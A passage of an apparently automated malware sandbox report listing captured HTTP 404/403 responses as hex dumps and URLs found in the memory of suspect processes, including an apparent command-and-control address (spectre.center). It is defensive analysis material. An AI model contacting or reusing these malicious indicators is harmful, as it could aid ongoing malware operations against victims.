20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 02 Oct 2024 13:17:56 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "663a05b6-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 02 Oct 2024 13:17:59 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "663a05b6-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 02 Oct 2024 13:18:01 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "663a05b6-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 02 Oct 2024 13:18:04 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "663a05b6-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 02 Oct 2024 13:18:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 02 Oct 2024 13:18:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 02 Oct 2024 13:18:15 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006092000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.00000000042B2000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://fedoraproject.org/
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://giganet.ua/ru
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://inau.ua/
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006092000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.00000000042B2000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://nginx.net/
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://ogp.me/ns#
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://partner.mirohost.net
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://schema.org/Organization
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.ix.net.ua/ru
            Source: AnbtBVreItY.exe, 0000000E.00000002.3133096714.0000000002EFA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.spectre.center
            Source: AnbtBVreItY.exe, 0000000E.00000002.3133096714.0000000002EFA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.spectre.center/mfnh/
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/en
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.woff2
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.woff2
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://control.imena.ua/login.php?lang=2
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://control.mirohost.net/auth/login.php?lang=ru
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
